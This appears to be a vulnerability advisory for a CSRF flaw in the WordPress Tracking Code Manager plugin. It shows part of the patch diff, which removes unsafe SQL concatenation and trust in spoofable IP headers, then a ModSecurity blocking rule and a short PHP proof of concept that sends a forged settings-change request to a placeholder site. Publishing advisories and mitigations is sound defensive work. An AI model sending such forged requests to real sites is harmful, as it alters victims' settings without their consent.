-			$result = $this->sanitize_post_or_get( $_POST[ $name ] );
+			$result = $this->sanitize_post_or_get( $_POST[ $name ], $name );
 		} elseif ( isset( $_GET[ $name ] ) ) {
-			$result = $this->sanitize_post_or_get( $_GET[ $name ] );
+			$result = $this->sanitize_post_or_get( $_GET[ $name ], $name );
 		}

 		if ( is_string( $result ) ) {
@@ -387,8 +396,12 @@
 		return $result;
 	}

-	private function sanitize_post_or_get( $array ) {
+	private function sanitize_post_or_get( $array, $name = '' ) {
 		global $tcmp_allowed_html_tags;
+		// The snippet "code" fields hold raw tracking markup on purpose; they are
+		// sanitized on output via TCMP_Manager::esc_js_code(). Everything else is
+		// treated as plain text so that qs() is safe by default (see F-06).
+		$is_code = ( 'code' === $name || 'tcmp_code' === $name );
 		if ( is_array( $array ) ) {
 			foreach ( $array as $k => &$v ) {
 				if ( 'code' == $k ) {
@@ -397,6 +410,9 @@
 					$v = sanitize_text_field( $v );
 				}
 			}
+			unset( $v );
+		} elseif ( is_string( $array ) && ! $is_code ) {
+			$array = sanitize_text_field( $array );
 		}
 		return $array;
 	}
@@ -404,7 +420,7 @@
 	var $_taxonomyType;

 	function query( $query, $options = null ) {
-		global $tcmp, $wpdb;
+		global $tcmp;

 		$parent   = '';
 		$defaults = array(
@@ -441,10 +457,27 @@
 				$function = '';
 				switch ( $query ) {
 					case TCMP_QUERY_POSTS_OF_TYPE:
-						//$options=array('posts_per_page'=>-1, 'post_type'=>$args['post_type']);
-						//$q=get_posts($options);
-						$sql      = 'SELECT ID, post_title FROM ' . $wpdb->prefix . "posts WHERE post_status='publish' AND post_type='" . $options['type'] . "' ORDER BY post_title";
-						$q        = $wpdb->get_results( $sql );
+						// get_posts() instead of a direct $wpdb query: it goes
+						// through WordPress's object cache and avoids the
+						// DirectDatabaseQuery / NoCaching warnings. The WP_Post
+						// objects it returns expose the same ID and post_title
+						// fields the loop below reads, and get_posts() already
+						// sets no_found_rows, so this is no heavier than the
+						// two-column SELECT it replaces. The empty-type check keeps
+						// the old semantics: the previous `post_type = ''` SELECT
+						// matched nothing, whereas get_posts() would silently fall
+						// back to listing ordinary posts.
+						if ( '' !== (string) $options['type'] ) {
+							$q = get_posts(
+								array(
+									'post_type'      => $options['type'],
+									'post_status'    => 'publish',
+									'posts_per_page' => -1,
+									'orderby'        => 'title',
+									'order'          => 'ASC',
+								)
+							);
+						}
 						$function = 'get_permalink';
 						break;
 					case TCMP_QUERY_CATEGORIES:
@@ -1614,11 +1647,6 @@
 		return $data;
 	}

-	function isAdminUser() {
-		//https://wordpress.org/support/topic/how-to-check-admin-right-without-include-pluggablephp
-		return true;
-	}
-
 	function isPluginPage() {
 		global $tcmp;
 		$page   = tcmp_sqs( 'page' );
@@ -1971,17 +1999,15 @@
 	}

 	public function getVisitorIpAddress() {
+		// Only REMOTE_ADDR is set by the web server and cannot be spoofed by the
+		// client. HTTP_CLIENT_IP / HTTP_X_FORWARDED_FOR are attacker-controllable
+		// request headers and must never be trusted for a security decision, so
+		// they are intentionally NOT consulted here. Also calls the real instance
+		// method $this->validate_ip() (the previous global validate_ip() call
+		// would have fatal-errored). (See F-12.)
 		$ip = '';
-		if ( ! empty( $_SERVER['HTTP_CLIENT_IP'] ) ) {
-			$ip = validate_ip( $_SERVER['HTTP_CLIENT_IP'] );
-		}
-
-		if ( '' == $ip && ! empty( $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) {
-			$ip = validate_ip( $_SERVER['HTTP_X_FORWARDED_FOR'] );
-		}
-
-		if ( '' == $ip ) {
-			$ip = validate_ip( $_SERVER['REMOTE_ADDR'] );
+		if ( ! empty( $_SERVER['REMOTE_ADDR'] ) ) {
+			$ip = $this->validate_ip( sanitize_text_field( wp_unslash( $_SERVER['REMOTE_ADDR'] ) ) );
 		}
 		return $ip;
 	}
--- a/tracking-code-manager/includes/core.php
+++ b/tracking-code-manager/includes/core.php
@@ -52,14 +52,25 @@
 add_shortcode( 'tcm', 'tcmp_shortcode' );
 function tcmp_shortcode( $atts, $content = '' ) {
 	global $tcmp;
-	extract( shortcode_atts( array( 'id' => false ), $atts ) );
+	// Assign explicitly instead of extract() on external input (see F-13).
+	$atts = shortcode_atts( array( 'id' => false ), $atts );
+	$id   = $atts['id'];

-	if ( ! isset( $id ) || ! $id ) {
+	if ( ! $id ) {
 		return '';
 	}

 	$snippet = $tcmp->manager->get( $id, true );
-	return $snippet['code'];
+	if ( ! is_array( $snippet ) || ! isset( $snippet['code'] ) ) {
+		return '';
+	}
+
+	// Run the snippet through the same output path as write_codes() instead of
+	// returning it raw, so the shortcode and the normal injection path cannot
+	// diverge (F-05). Note that this equalises the two paths; it does not make
+	// the shortcode safe to expose to lower-privileged authors, because the
+	// whitelist esc_js_code() applies permits <script> by design.
+	return $tcmp->manager->esc_js_code( $snippet['code'] );
 }

 function tcmp_ui_first_time() {
--- a/tracking-code-manager/index.php
+++ b/tracking-code-manager/index.php
@@ -6,7 +6,7 @@
 Author: Data443
 Author URI: https://data443.com/
 Email: support@data443.com
-Version: 2.6.0
+Version: 2.7.0
 Requires at least: 3.6.0
 Requires PHP: 5.6
 */
@@ -25,7 +25,7 @@
 define( 'TCMP_PLUGIN_FILE', __FILE__ );
 define( 'TCMP_PLUGIN_SLUG', 'tracking-code-manager' );
 define( 'TCMP_PLUGIN_NAME', 'Tracking Code Manager' );
-define( 'TCMP_PLUGIN_VERSION', '2.6.0' );
+define( 'TCMP_PLUGIN_VERSION', '2.7.0' );
 define( 'TCMP_PLUGIN_AUTHOR', 'IntellyWP' );

 define( 'TCMP_PLUGIN_DIR', dirname( __FILE__ ) . '/' );
@@ -44,7 +44,7 @@
 define( 'TCMP_QUERY_TAXONOMY_TYPES', 6 );
 define( 'TCMP_QUERY_TAXONOMIES_OF_TYPE', 7 );

-define( 'TCMP_INTELLYWP_ENDPOINT', 'http://www.intellywp.com/wp-content/plugins/intellywp-manager/data.php' );
+define( 'TCMP_INTELLYWP_ENDPOINT', 'https://www.intellywp.com/wp-content/plugins/intellywp-manager/data.php' );
 define( 'TCMP_PAGE_FAQ', 'http://www.intellywp.com/tracking-code-manager' );
 define( 'TCMP_PAGE_PREMIUM', 'http://www.intellywp.com/tracking-code-manager' );
 define( 'TCMP_PAGE_MANAGER', admin_url() . 'options-general.php?page=' . TCMP_PLUGIN_SLUG );

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-28172
SecRule REQUEST_URI "@streq /wp-admin/admin.php" 
  "id:202628172,phase:2,deny,status:403,chain,msg:'CVE-2026-28172 via Tracking Code Manager CSRF',severity:'CRITICAL',tag:'CVE-2026-28172'"
  SecRule ARGS_GET:page "@streq tcmp-settings" "chain"
    SecRule ARGS_GET:track "@rx ^[01]$" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-28172 - Tracking Code Manager <= 2.6.0 - Cross-Site Request Forgery

$target_url = 'http://example.com'; // Change to the target WordPress site

// The vulnerable endpoint: admin settings page with track parameter
// An attacker would trick a logged-in admin into visiting this URL.
// For demonstration, we simulate the request as if the admin is authenticated.
// In a real attack, the admin's browser would send the request with cookies.

$vulnerable_url = $target_url . '/wp-admin/admin.php?page=tcmp-settings&track=1';

echo "[*] Sending forged request to: $vulnerable_urln";

// Use cURL to simulate the request
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $vulnerable_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// In a real scenario, the admin's session cookies would be included automatically by the browser.
// For testing, you may need to provide a valid session cookie if the site requires authentication.
// curl_setopt($ch, CURLOPT_COOKIE, 'wordpress_logged_in_...=...');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200) {
    echo "[+] Request successful. The tracking setting may have been changed.n";
    echo "[+] Check the site's tracking status or outbound telemetry.n";
} else {
    echo "[-] Request failed with HTTP code: $http_coden";
}

// Note: This PoC demonstrates the CSRF vector. In a real attack, no authentication is needed
// from the attacker; the victim admin's browser supplies the cookies.
?>

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